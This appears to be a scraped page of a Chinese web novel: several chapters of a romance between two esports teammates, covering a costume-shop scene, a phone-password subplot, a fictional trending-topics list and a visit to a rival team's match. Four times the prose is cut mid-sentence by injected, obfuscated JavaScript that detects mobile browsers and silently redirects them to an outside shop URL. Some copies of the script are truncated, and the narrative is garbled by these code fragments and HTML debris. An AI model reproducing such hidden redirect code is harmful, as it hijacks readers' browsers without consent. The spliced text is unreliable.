“哈,偷盯?”郁秋轻笑一声,“只是视线刚好扫过而已,我可不是流氓变态看别人换衣服。” “……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210255|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜雨辰重新将目光慢慢挪回,搭在郁秋肩上的手不知什么时候已经穿过游到了后颈。指尖的缝隙穿过数根发丝,他有些迷离的眼神不自觉地下滑着,直至停在了对方不断在勾引着他的薄唇上。 说完,郁秋恰好再次朝他弯腰俯身,夜雨辰呆呆地看着不断在面前放大的脸庞,不自觉地稍稍踮起了脚尖,下巴微微抬起,后颈上的手也稍稍发力抓紧并往下一压。 下一秒,夜雨辰的双眸逐渐瞪大。 红唇上游走过数根长发。 郁秋正以一个虚抱着他的姿势虚靠在他的颈窝处,磁性的声音几乎贴着他的耳边响起:“系完这个腰带就好了,披风你过会还得整理一下。” 厚重炙热的鼻息刺激着夜雨辰脖颈上的肌肤,酥酥麻麻的,让他双腿有些发软,整个人控制不住往下滑了点。 这时,郁秋束好了腰带站直了身并和他拉开了距离,心满意足地拍了拍他:“好了,出去吧。” 这一举动让夜雨辰一个踉跄,瞬间回过了神。他若无其事且有些忙碌的整了整自己的衣领,什么话都没说。 在打开门前,郁秋的目光一直不停地上上下下打量着夜雨辰的穿着,最后,他心满意足地笑道:“嗯,我把你穿得真帅。” …… 思绪回到现在,夜雨辰十分自然地调整了下自己的坐姿,把身子坐直了点,顺势扯了扯自己身上的衣袍,准确来说,是下半身的衣袍,让它变得更宽松了些。 思绪逐渐冷静下来后,他心里暗暗地松了口气。 还好这衣服很宽敞,有些地方就算有什么反应,随便藏一下就看不出来了。 他眼神不经意地往旁边正发着呆的郁秋的方向瞥去,只见对方坐在化妆台前一动不动,好像在思索着什么。 夜雨辰突然想收回一句昨天对郁秋说过的话。 一想到刚刚这人是直接闯进更衣室并强行把他衣服脱下时,他就突然发现,自己好像其实也不是很讨厌强迫?甚至还—— 想到这,他刚冷静下来的身心不由自主地再次发热加快,嘴角也微不可察地向上微微翘起。 ——有点喜欢。 * 郁秋此时的心里既满足,但又有些惋惜。 刚刚在更衣室门前,虽然和夜雨辰对话的服务员是女生,但是她其实已经准备让一个男服务员去帮助他了。 但无论是男的女的,郁秋才不想给别人一丁点看到夜雨辰身材的机会,更让人来气的是,夜雨辰对这些似乎不是很在意! 不过—— 他垂眸看向自己的一个掌心,虚抓了几下。 上次在电影院的时候,他虽然一手揽着夜雨辰,但不敢过深的去触碰,只敢搭在上面,最多就是手指不安分地划了几下。 但这次再次触碰,他没忍不住多捏了几下。 手感好到想再多捏捏,而且有些地方肌肉也挺紧实的。 只是再得寸进尺一点,似乎就会引起夜雨辰对自己真实意图的怀疑。 而且一想起刚刚不得不迅速错开的那个吻,郁秋就忍不住无限惋惜。 都快把他的头往脸上按了,他不可能察觉不到夜雨辰的意图。 可这次真不能亲。 他敢肯定,刚刚要是亲上了,后果就绝对一发不可收拾了。先不说他们俩现在的关系合不合适,就是这场所也绝对不合适。 不然占用更衣室的时长是真的不可估量了。 93.密码 夜雨辰一从店里出来就果断地丢下了郁秋。两人瞬间拉开了一大段距离,就像他们根本不认识似的。 他就算再怎么迟钝,也逐渐意识到了一件事——什么叫“换别人来也是这样”?哪有服务员帮别人整理衣服的时候会不停地和顾客发生肢体接触啊? 这tm就是他自己想摸吧! 一想到刚刚自己几乎全身上下都被郁秋摸了个遍,而他居然还觉得只是自己想多了,夜雨辰就被气得牙痒痒。特别是他的唇上现在还残留着郁秋发丝磨刮过的酥痒感,让他有一股一刀剁了郁秋的冲动。 所以为了避免真的发生血腥暴力事件,这一上午逛的各景点里,夜雨辰只会在需要给风景拍照或问接下来去哪时,才会勉强回个头,跟远在天边的郁秋施舍般的吐出几个字甚至直接一字不说,只是用刀人的眼神盯着他询问接下来的路或朝对方伸个手示意了下递个手机。躞蹀带上绑着二人手机的郁秋对此只好无奈且无辜的乖乖听话,顺着夜雨辰的所有意思。 但因为他们俩间距很开,加上身上的穿着与逛过的古式建筑十分契合,所以他们俩在街上大大增加了回头率,且都被不少男女老少追着要联系方式。 夜雨辰每到这时只会抬个手婉拒或直接视而不见绕道而行,而郁秋则是只给对方假笑道个‘不好意思’便不再理会。 半小时不到,陆陆续续来了数十个人要联系方式,特别是那种死缠烂打赶不走的,无奈之下,夜雨辰只好心不甘情不愿地走到郁秋旁边,用小拇指调戏般地勾了勾他的手指,但又害怕自己冷落了对方十几分钟,导致对方会不给他面子翻脸,他只好在郁秋耳边惜字如金且毫无情绪波澜道:“哥,他们缠着我,好烦。” “……” 郁秋挑挑眉。 骚扰者被赶走后,还没来得及等郁秋邀功,夜雨辰就再次抛弃了他。 不过为了不再被这么多人缠着,夜雨辰这次也没和郁秋拉很远的距离。 只为方便的把郁秋当拒绝人的挡箭牌用而已。 等逛过三个景点,刚好在吃饭时间二人到了洛邑古街。夜雨辰先强烈要求不去饭店解决午饭,并迅速扫了一眼街上的各个店铺。他一下就锁定了好几个目标便睨向郁秋,问道:“今天的费用确定是你全包,对吗?” 郁秋点头:“嗯,说话算话。” 夜雨辰难得微笑道:“那你准备好付款码。” 丢下这句话后,他便朝一个店铺走去。 他看也没看上面的菜单,直接道:“老板,我要两根最贵图案的糖画。” 老板边忙碌着手里的画作边乐呵呵道:“好嘞客官,50块钱,大概还需要等个五分钟。” “哦。”夜雨辰十分自觉地把付款通道让给了郁秋,与此同时,他视线幽幽地瞥向了旁边不远处的另一个甜品铺子,目不转睛。 郁秋一付完款就顺着夜雨辰的目光看向另一个正排着长队的店铺:“想吃?” 夜雨辰将目光挪开:“哼。” 要不是今天已经下定决心一定只薅郁秋羊毛,他现在已经拿着自己的手机去那里排着长队了。反正过会再去排队也一样。 就在这时,郁秋的手机递到了自己的面前:“你先去排吧,省点时间,我在这等,过会去找你。” “?” 夜雨辰一时间没反应过来,表情有些复杂地看向郁秋。 他确实有过拿郁秋的手机直接去排队的想法,但这毕竟还是涉及到了对方的很多个人隐私,所以他一下子就打消了这个念头。 郁秋接着淡淡道:“屏保密码000123,支付密码190414,不过你付钱的时候,建议用那张亲属卡比较好,不过其他卡也可以随便用。” 两串数字落入耳中,夜雨辰的脸色更加复杂了。他并没有接过这部手机,而是双手抱胸好笑道:“全都交代完了,不怕你账户里的所有钱不翼而飞?” 郁秋想也不想,轻笑一声:“钱跑了,人也跑不了。” “……” 夜雨辰抿紧嘴唇,耳根逐渐染上一抹深红。 他一把抢过郁秋的手机掉头就走,但还没来得及迈出两步,他又脚步一顿,头也不回地冷冷道:“三个02,有事电话。” 说完,便急匆匆地离开了。 反正他的手机还在郁秋的手上。 * 心情很复杂。 排着龙须糖店铺的长队时,夜雨辰若有所思地盯着这部手机。 郁秋的手机居然落到了自己手上。 他按开待机键,输入着这部手机的密码。 送到手上的机会,他不想就这么轻易放过。 这几天不知道为什么,他突然有个莫名其妙的想法,可似乎又很合理。 有、耳。 ‘有’旁有耳——郁。 他还记得进队的第一天,他可是看到过郁秋手机弹出过Whisper Tree的弹窗消息,对此震惊不已。 要知道,这可是一个十分小众、而且里面充满各种牛马神蛇的APP。而以他接触郁秋的这段时间里,对方明显不是个拿这种APP去下海的人。 夜雨辰有些紧张地吞了口唾沫。 虽然偷看别人的手机不太对,但是他还是忍不住好奇,郁秋为什么会用Whisper Tree,以及,这两个人到底是不是同一个人。 手机一被解锁,一张戴着黑色口罩的人的手机背景第一时间便映入眼帘。 ……啊? 这张照片让夜雨辰呼吸一滞,心脏随之漏跳一拍。 他一眼就认了出来这张照片上的人是自己,却一时想不起来自己究竟什么时候这副打扮过。 脑子一时间有点转不过来。 这是什么时候的照片?郁秋哪来的?他怎么没印象? 而且看这个照片的样子,自己好像正垂眸专注着看着什么? 想了不过数十秒也想不起来来头,夜雨辰就索性没继续思考下去,而是专注干起正事——反反复复在郁秋的手机主页上寻找着那个他十分熟悉的棕绿色标志APP。 每一次滑动屏幕翻页,夜雨辰的心里就不由得愈发紧张。 万一有耳和郁秋真的是同一个人该怎么办? 那岂不是自己两年前就和郁秋认识,甚至还当他的面骂他了? 而且,有耳说他喜欢的人时一直是用‘TA’,从没有用过确切的男女字,所以仔细一想,他至今其实都不知道对方喜欢的人的性别,亦或是说,正常来说,都会以为一个人的性取向是异性…… 夜雨辰有些紧张地吞了口唾沫。 如果往这两个是同一个人的结论随意去往深处想有耳说过的任何一句话甚至是时间,不知道为什么,总给他一种一切似乎都能对应上的感觉,但又好像只是巧合…… 比如两年前网上“全国第一”的骂声浪潮,是有耳提醒他郁秋开了直播,也是在直播结束的第一时间问他的情况如何,然后他在那时候骂郁秋时,对方给出的反应很微妙;比如有耳喜欢的人和自己是同龄,而且有耳和喜欢的人在上个月终于做同事了;以及这两年里,有耳和自己聊天总是时不时地旁敲侧击一下自己在干什么,就像对自己充满好奇心;再比如他跟有耳说郁秋跟自己表白了,有耳居然罕见的直接转移话题,完全没有继续聊这方面的话题…… 所以这几天,夜雨辰只要随意把有耳说过的一句话往深处想一点,他就总有种直觉——有耳喜欢的人就是自己。 虽然这个想法很荒谬、很不可思议、可是怀疑一旦产生,罪名就已成立。 夜雨辰的心跳声愈发慌乱,滑动屏幕的手指也控制不住开始颤抖。 如果他们真的是同一个人,那他岂不是这两年都在教郁秋怎么追自己吗?可他们俩之前加上好友的契机可是在那么广泛的树(鱼)洞(塘)里,这能加上未免也太大海捞针了点吧? 带着这样紧张到难以言喻的心情,夜雨辰将郁秋的手机APP反反复复全都翻了个遍。 夜雨辰一愣。 没找到。 他皱起眉,不信邪地再一次翻了一遍这部手机上的所有APP,甚至还直接手动搜索了这个APP的名字。 还是没有。 他彻底怔住了。 郁秋的手机里,根本就没有Whisper Tree这个软件! “小帅哥,小帅哥?” 听到有人朝着自己呼唤着,夜雨辰这才有些愣神地将注意力从手机上挪开。 是龙须糖的队伍排到自己了。 “一百块的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222488|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 夜雨辰心里充满疑惑和震惊,但与此同时又重重地松了口气。 难道是郁秋恰好在自己进队的那天一时兴起下载了这个APP,结果发现这里面的神人太多就迅速卸载了这个软件吗? 想到这,他面上就不由自主地挂上了一抹释然的微笑。 卸了也好,反正这个APP里几乎没有几个正常人。 而且现在这个APP已经没有应用商城或链接能下载了,所以只要他过会给有耳发个消息,对方也给他回了消息,那就可以完全排除有耳和郁秋是同一个人的想法了。 不过—— 夜雨辰转念一想,刚刚查看手机的时候,他的心情简直比上周第一次上台的感觉还要紧张。 一想到这,他心里升起了一股莫名气:“老板,再多拿十份。” 老板乐呵呵道:“好的小哥,这里付款。” 夜雨辰付款时,看到了支付宝界面里的“亲属卡”这三个字后跟着的括号备注的“儿子”二字,挑了挑眉。 190414…… 输密码的时候,他一直在心里念叨这串数字。 一般来说,大部分人的密码都会和一些比较特殊的日子挂钩,比如他自己的屏保密码是02年2月2日,假如郁秋也是这么设置的话,屏保密码就像00年1月23日这个日子,也符合比自己大两岁的特征。 那190414是什么日子?19年4月14日? “……” 夜雨辰瞪大双眸,顿时恍然大悟。 黑色口罩、四月十四——这是两年前他和言星奕去打全国大赛的那一天。 好像也算是和郁秋第一次遇见的日子。 夜雨辰的心底顿时升起一股密密麻麻、不可名状的复杂感觉。 “喜欢了几年”,是从那天开始的吗? 但还没来得及等他继续往下想,手机这时候弹出了“支付失败”四个大字。 【亲属卡余额不足】 ? 夜雨辰没忍住嗤笑一声,又看了眼余额为‘0’的钱包,只好随便选了个郁秋账号上绑定着的数张银行卡里的一张完成了支付。 “买完没?” 这时,一道熟悉的声音从他身后响起。 “你……” 夜雨辰接过打包好的龙须糖,心情复杂地看着郁秋。 郁秋笑道:“我怎么了?” “……没什么。” 郁秋好笑道:“你不会翻看我手机了吧?” “我不干侵犯隐私的事。”夜雨辰没好气地从郁秋手里抽出一根壮丽金灿的凤凰糖画,并把这十袋全数龙须糖塞给了郁秋,然后转头就走,“走,下一站。” 说着,他就走到隔壁不远处的糖葫芦串店:“老板,要六串。” 郁秋跟在后面:“夜小少爷,一口气买这么多,你吃得完吗?” 夜雨辰一边接过糖葫芦一边付款着,没好气道:“要你管,反正不会浪费。” 郁秋猜测:“爱吃甜的?” 夜雨辰把糖画的一角含进嘴里,没有说话,但也没有否认。 郁秋无奈地叹了口气,展示着双手甚至每根指头上都挂着满满当当的袋子:“你吃得下,我也拎不下了。” “哦,没事,我帮你拎着手机就行了。”夜雨辰一副漠不关心地模样吃着糖,顺便提醒道,“对了,你叫我最好用‘亲属卡’,但里面没钱了。” “没钱?”郁秋有些诧异,随便就腾出一只空手找夜雨辰要回手机,“给我看一眼?” 郁秋查阅自己的扣费账户时,脸色变得微妙了起来。 恰好在这时,他收到了一条来自孟凌轩的微信消息—— 【孟:畜生!又拿老子的钱去约会!滚吧你!花自己的钱去!】 郁秋耸耸肩,并没有回消息,而是对夜雨辰发自内心地感叹道:“这么多张卡,你可真会选。” 夜雨辰感到疑惑:“这张卡怎么了?你不是说都可以随便花吗?” 郁秋脸上的笑容变得更加灿烂:“没什么,发自内心地夸你而已。” 毕竟这数十张银行卡里,只有这一张是他和他妈绑在一起的共用账户。 但凡花个一分钱,他妈都会来问他这笔钱是用来做什么那种。 94.【插播!】 电竞周报负责人覃雨霜:S17赛季职业联赛已经开赛两周,上周话题热度排行榜单统计如下—— 【1.Eagle.恒宇四杀 逆风翻盘!】(爆) 【最热评:啊啊三高全破经济落后一万都能翻盘PG!本赛季第一个四杀!太帅了昨晚简直燃得我根本睡不着觉啊!!】 【热评:这才是真正的中单法王啊,谁敢与我恒宇叫嚣!】 【2.UM.车长又秀读秒神迹了!】(爆) 【最热评:车长在A组打比赛真的太可惜了啊!怎么这个游戏会有如此变态能精准记住所有英雄的所有技能CD啊?!最变态的是他还能记住所有冷却缩减后的CD!真是联盟为数不多的奇葩之一!!】 【3.秋夜击掌】(热) 【最热评:我为秋夜举大旗!哪家正常队友击掌时会死命往别人指缝里钻啊?!这个Qiu好心机!!】 【热评:呕!球球两位别卖了也别买了!场上MVP都拿不到几次还想着营销自己呢?】 【4.PG.小柯单杀Fire.沦陷】(爆) 【最热评:可惜沦陷哥哥差一点就反杀了啊啊啊啊!】 【热评:这就是联盟顶尖的两个野王吗?五秒不到的博弈两边操作都是数不清的细节,操作是我的一辈子。】 【5.FQ.子幸被对位压制0/4】 【最热评(已删除):HelloHello?这么高的话题量热搜标去哪了呢?有胆买热搜怎么没胆承认自己菜啊?】 【最热评:子幸哥哥不要急慢慢来,加油你已经很棒了,爱你哟~】 【6.便利店偶遇我磕的cp该怎么办?】(热) 【最热评:欸嘿嘿,欸嘿嘿……这个角度看上去就像在亲一样/害羞/害羞,摄影师太会拍了!】 【热评:挽青和顾屿的cp话题好歹也有一年多了,所在的LY战队还是A组的,凭什么热度没那个上个月才开始的某B组cp高?哦,我知道了,因为他们有的是手段营销啊!】 【7.S组星队四连败】 【最热评:这赛季星队怎么回事啊?其他队打不过就算了,FQ现在的中单都是一个瘤子了居然都赢不了吗?太伤粉丝心了!】 【热评:恭喜星队成功提前拿下S/A的卡位赛名额/呵呵哒】 【8.没人觉得SupS的林元和他们新来的射手很好品吗?】 【最热评:嘿嘿虽然新来的射手弟弟很腼腆,但是场上每次状态他都是最亢奋的,打的操 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223529|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作也是最亮眼的那个,和林元互补互c带飞战队,他们俩简直是SupS的新一代双子星!】 【热评:就我注意到每次SupS拿下胜利后离场的时候,林元都会主动走到嘉辉旁边跟他碰一下吗?要知道打野和射手的座位中单可是隔着一个中单的欸……不管了!元辉99!!】 【9.Wao.IN女友】(热) 【最热评:不是吧?又一个新的?我一个都还没谈完呢?】 【10.塌房!JYY三连胜!】 【最热评:卧槽等等JYY赢了CM?不会吧?那B组这一轮卡位赛的名额不会是JYY和SupS吧?话说他们俩个战队是不是下周就要打起来了?突然就想去看了!】 【热评:JYY这种营销战队也能进卡位赛?内幕!内幕!】 【11.VZ战队深夜排位不敌主播车】 【最热评:众所周知,各个平台上的排位赛or巅峰赛素材,有职业的对局只会是职业选手输。】 【12.QYG小奕超鬼】(热) 【最热评:啧啧啧,看了这一场比赛,唯一感受就是这个小奕既被QYG抛弃,又被JYY所有人针对。但超鬼的战绩在台上也真是是百年一见啊!】 …… 95.没看最好 “让我们恭喜JYY以2:0的成绩战胜STJ,让我们祝贺他们提前拿下B/A组的卡位赛席位!” 刚摘下耳机,主持人的宏亮声就落入夜雨辰的耳中。 坐在他旁边的One一站起身就激动地揽住他的肩:“最后一波太帅了!” 夜雨辰浅笑道:“基操。” 郁秋笑着拎起One的手腕丢到一旁,顺势把夜雨辰往自己的身边一揽:“厉害。” 夜雨辰就这么被突然拉了个踉跄。一站稳身子,他便嫌弃地拍开肩上的这只手,冷哼一声:“正常发挥,别拉拉扯扯的。” “一、二、三、四……” 一回到休息室,开开便认真地开始掰着指头对着电视机数着数,下一秒他便双手抱头仰天大哭道,“啊啊啊!为什么又是Night的MVP!十一把对局他一个人就拿了四把啊!” 这两周加上今天JYY一共打了十一场比赛,刚刚这把比赛的MVP结果一出,开开就迫不及待地上前来看这把MVP究竟是谁,因为除了夜雨辰和他以外,其他三个人都拿了两次MVP。 只有开开仅拿过打CM那场的一次MVP。 Qian不知道什么时候叼上了一根棒棒糖,在他旁边冷飕飕道:“菜就多练。” 开开更委屈了。 “也别老欺负他了。”One在旁边忍俊不禁,“评分而已,都是虚的东西,赢了就好。” 零落赞同道:“大家的表现都很出色。” 夜雨辰淡淡道:“这几场炮台玩得多,输出评分好刷而已,我们少了谁都赢不了。” 开开蹲在沙发的小角落上,对夜雨辰闷闷不乐道:“你不用那么谦虚,我还是知道比赛上的评分机制和平常游戏对局里的算法是不太一样的,而且自从你进队以后,不论是训练赛还是比赛,局内视野思路和节奏都比以前某俩傻逼在的时候轻松简单多了,只是——” 他在沙发上缩成一个团子,不开心地一下又一下戳着沙发:“秋哥也抛弃我了,他居然都能拿两次MVP了,没人陪我垫底了。” “?”突然被cue的郁秋摩拳擦掌,笑着重复了一遍,“‘居然都’?” “……”开开的后背顿时冷汗密布,他嗖地一下站起身跳下沙发,迅速拉开和郁秋的距离,一本正经地快速道,“其实我觉得现在我们的重点不是讨论什么M不MVP的,而是去重视下把比赛! ” Qian嗤笑一声:“出息。” “对哦,下把比赛就在上海。”提到下把比赛,One就长舒一口气,“我们这次终于不用飞来飞去了,打完比赛直接香喷喷的回基地睡大觉!” 夜雨辰小声吐槽道:“这两周的酒店网是真卡。” 这两周的比赛,除了第一场比赛他们在上海本市打,其他的三场比赛都是在全国四处奔波,飞来飞去,而且居住的酒店信号也差,搞得晚上睡前打个排位巅峰赛都卡卡顿顿或掉帧,打得人心情十分堵塞。 “网不网卡的也都不是重点。”零落干咳两声,郑重其事道,“周六和SupS的比赛,现场观众肯定不会少,所以你们别这几场比赛习惯了台下的清静,过两天一下子适应不过来场上的氛围导致状态下滑,都提前做好点心理准备。” “怎么会?”One一把把Qian揽到自己身边,“我和小屁孩可是观众越兴奋,我们就打得越好。” 郁秋没有说话,只是默默垂下眼眸。 “我还ok吧,这方面对我影响不大。”开开无所谓道,不过,他突然想起来一点,看向身旁的郁秋,“林元我记得算半个明星选手吧?所以去现场的观众人数还不少。我没记错的话他们队这几周的场次也都被安排在下午第二场吧?” JYY的比赛场次几乎都在下午第一场,除了和SupS的比赛。 郁秋抬眸,挑眉道:“不知道,不关注。” 顺便终于重击到了刚刚一直在逃避他攻击的开开。 “你不知道?” 开开也不管后背传来的重击,反而对郁秋居然不知道这种事情感到十分诧异。他疑惑地看向其他队员,“那你们呢?” 其余四人都是默不作答。 “不是吧?!”看队里没人知道这件事情,开开震惊了,“难道全队就只有我一个喜欢刷手机关注新闻吗?你们平常无聊的时候难道都不刷刷论坛看看周报这些东西吗?!” 以前他避着这些论坛八卦不刷纯粹是不想看到邱子幸买的那些辣眼热搜和骂自己的话题,但现在邱子幸都不在队里了,他当然会忍不住开始刷手机。结果他发现,原来每个战队的外界八卦居然会让人看得津津有味的,特别是那种他知道内幕,结果外界消息和它截然相反的声音。 郁秋摇头。 One耸耸肩:“老了,这些内容也都是半真半假的,没意思。” Qian嗤鼻:“无聊。” 夜雨辰皱起眉:“不如上分。” 零落无奈地摊了摊手:“我就更不用说了吧?都在研究对手和处理一些战队的私事,完全没这个闲心。” “……”呆滞了半晌,开开才喃喃道,“我究竟是造了什么孽,居然进了一个没人想吃瓜的战队。” Qian扬眉道:“这说不定就是为什么你MVP拿得少的缘故?多练习,少八卦。” 开开顿时青筋暴起,毫不留情地朝Qian一踹。 One乐呵呵地看着他们俩打闹,看向夜雨辰道:“话说Night现在应该习惯赛场到差不多了吧?” “……”夜雨辰沉默了半晌,才点点头,“嗯,好多了。” 虽然他现在不能说已经到完全适应赛场上的紧张感和肾上腺素的飙升的状态,但他现在已经偶尔能在场上到忘我地正常发挥了。 只是每次打完一场比赛摘下耳机的时候,耳边只有队友的喜悦庆功声和主持人嘹亮的祝贺声…… 不知道为什么,他总觉得,总缺少点什么。 心里总有股说不出的空虚感。 开开羡慕道:“哎,我要是能像你一样这么快适应好赛场就好了。” 说着,他偷偷瞟向郁秋,幸灾乐祸道:“还好这个方面我不是垫底的。” 一看开开又在说自己,郁秋这次倒没有想动手的模样,而是好笑道:“我慢热而已,以前是紧张,但现在这几场发挥不都挺正常的?” One不禁打趣道:“发挥正常才两次MVP嘛?” 郁秋双手抱胸,皮笑肉不笑道:“刚刚谁说评分是虚的?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230780|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> One见状不对,果断指向Qian:“他。” Qian抬眸:“?” …… 一上到回酒店的大巴上,夜雨辰就含上一颗薄荷糖,接着拿出手机给一个人发去信息—— 【Whisper Tree】 【Rain:四连胜了】 【有耳:恭喜。】 看着这再次秒回的消息,夜雨辰总会下意识去瞟一眼坐在他前一排的郁秋在干什么。 虽然他现在已经确认有耳和郁秋不是同一个人了,但总觉得自己疏漏了什么东西。 不过他最肯定的是,Whisper Tree这个APP卸载后是下载不回来的,所以郁秋手机里肯定没有这个软件了。 看郁秋正看着窗外后,夜雨辰重新垂眸打开微信,和一个人发去消息—— 【Night:你们这几周的比赛都在下午第二场?】 【嘉辉:对啊,怎么了老夜,要跟我battle所以紧张了?】 【Night:打你有什么好紧张的?】 【Night:不过为什么你们时间都在这个场次?】 他还是很好奇为什么JYY的比赛几乎全被安排在下午的第一场,而SupS都在第二场的时间的。 【嘉辉:具体我也不清楚,好像是因为林元不少粉丝的缘故吧?下午第二场的时间毕竟都在五六点,有些人已经下班有时间能来看比赛了,所以买票的人应该相对来说多一点?】 因为门票销售量比较多的缘故所以把SupS的场次都安排在了下午第二场以后吗。 【Night:话说这个林元是你之前跟我们抱怨的那个打野吗?】 【嘉辉:咳,我上次不是说了嘛,那次是我乱说话,太急性子了,其实他人确好的,队友也对我很包容,只是某个人总是唠唠叨叨地教我做事,好烦。不过我现在最烦的是网络上居然有人说我和林元像情侣?那些人单是文字都看得我犯恶心,也不知道林元那家伙多大的心,每次都受得了这些字体,我现在看他有时候都忍不住有些膈应了。】 【嘉辉:对啊老夜,教教我,你是怎么看得下去你和Qiu的那些帖子的?你们那热度可比我们这个大了好几十倍,里面的内容也是比我们的更夸张。】 【Night:……根本没看,帖子都说啥了?】 【嘉辉:……】 【嘉辉:没看最好,别看了,辣眼睛。】 夜雨辰挑眉。 那些帖子到底写了啥玩意? 【Night:你们每次比赛,台下大概多少观众?】 【嘉辉:差不多坐满整个场馆的四分之三吧?反正过百了。】 回想起JYY最近比赛台下只坐了二三十观众,夜雨辰思索了半晌,重新看了一眼回上海的机票时间,再看了眼SupS明天的比赛时间。 【Night:你那还有明天的现场票吗?】 【嘉辉:有啊,怎么了?你有朋友要来看我们比赛吗?要几张票?】 【Night:一张够了,不是朋友要看,是我。】 【嘉辉:?】 【嘉辉:你来干嘛?】 【Night:窥探敌情。】 96.口号 “最后给你一次机会,你到底是来窥探敌情还是来看好兄弟我在台上的精彩表现的?” 上海某体育馆的后门,夜雨辰双手插兜淡淡道:“来找你破绽方便后天打爆你的。” 嘉辉朝他摊出一只手:“那你把门票费给我结了。” “……”夜雨辰从兜里掏出一根棒棒糖放到他手里,“不客气。” 说完,他就将口罩重新带好,转身向体育馆前门走去。 虽然他也可以在后台看嘉辉的比赛,但他今天来现场的主要目的还是他想亲自体验一次在观众席看比赛的感觉。 不过肯定不是坐在前排,前排是很容易被摄像头抓拍到的位置,他身为其他战队的成员兼SupS过两天的对手,尽量还是别被太多人注意到比较好。 秉持着低调的心里,夜雨辰一进场就随便坐在了空无一人的最后一排。此时,观众席上的灯光已经暗下,整个场馆的所有光源几乎都聚焦在了现在并没有任何选手的比赛台上,而观众席上能触摸到的光线几乎都是从台上溢出来的,越往后排,光线越暗。 所以他现在坐的位置只要没人刻意看他这个方向,几乎没人能发现得了他。 夜雨辰粗略地扫了一眼到场的观众人数。 SupS到现场看比赛的观众确实很多,至少比他看到的JYY比赛时到场的观众人数翻了几倍。 不过他现在更加惊叹的是,原来观众视角下是这样的—— 他看着现在正站在比赛台下、观众席第一排背着光的主持人大喊道:“我们现在先为自己喜欢的战队练一下口号,我喊‘星耀赛场’,你们喊‘谁与争锋’!” “星耀赛场——!” “——谁与争锋!” SupS,SuperStar。 夜雨辰默默地听着观众的呼喊声。 第一次听到比赛现场有这么多人的振奋呼喊声。 整个B组的比赛,好像只有他们战队会有观众喊口号吧?还喊得如此洪亮。 反正他之前比赛的时候可没听到过有关自家战队的口号。 不过‘精英院’作为曾经的冠军战队,应该也会有战队口号吧? 虽然暂时还没听他们说过。 * 比赛一开始,夜雨辰的注意力就全数放在了正中心的大屏幕上。 今天,SupS的对手是TZ。 夜雨辰记得,就是那个嘲讽他不会让对手失望的那个战队。 这把游戏,SupS选的是经典射野双核阵容,TZ则选的是中野双刺客阵容。 主持人高昂的解说着:“好的各位现场的观众们以及屏幕前的朋友们,游戏开始,我们现在看到的是SupS的中单和边路进行了换路的战术……等等!打野射手和辅助的站位是想干什么?!” 夜雨辰看着SupS的四个人除了中单在往边路靠以外,其他人全都站住了中路一边草的视野。 主持人看着SupS的四个人一下顺利都摸进了中路右草的视野,而TZ的辅助和打野也想尝试挤出这一片草丛的视野时,大喊道:“小淘你冷静点!草里可是有四个人啊!冷静!——” 可惜,职业选手在台上是带着专门防噪的耳机的,所以无论主持人怎么大呼大喊,选手们都无法听到外界的报点声,他们只能通过自己来踩出地图的视野。 大屏幕里,小淘的太乙蓄着一技能,在所有观众的意料之内明晃晃地进了草丛,紧接着,SupS辅助和边路的技能连控加上射野二人的伤害,一瞬间就把小淘打成了残血。 “哗!——” 全场大声哗然。 “哼。” 看到这,夜雨辰不禁冷笑一声。 虽然他记得小淘就是那天其中一个在厕所蛐蛐他的人,但他现在忍不住嘲笑他仅仅是因为SupS的阵容除了中单,其他英雄很明显在前期的作战能力很强,而TZ的法刺选择恰好让他们中单线权成为了短板,所以SupS只要边路和中路换个线并把中路线权成功抢到手,那他们就有可能会有打野区的行动。 这明明是一个很明显的打法思路,但照现在TZ开局的布局——阵容上只顾着做强双边对线强度以及想好怎么去针对嘉辉的射手,开局思路上边射二人中规中矩的上线行为,明显是没有SupS会换路冲自家野区的思考量的。 所以TZ根本没为野区提高防备之心,那这把估计都没啥看点,胜负已定了。 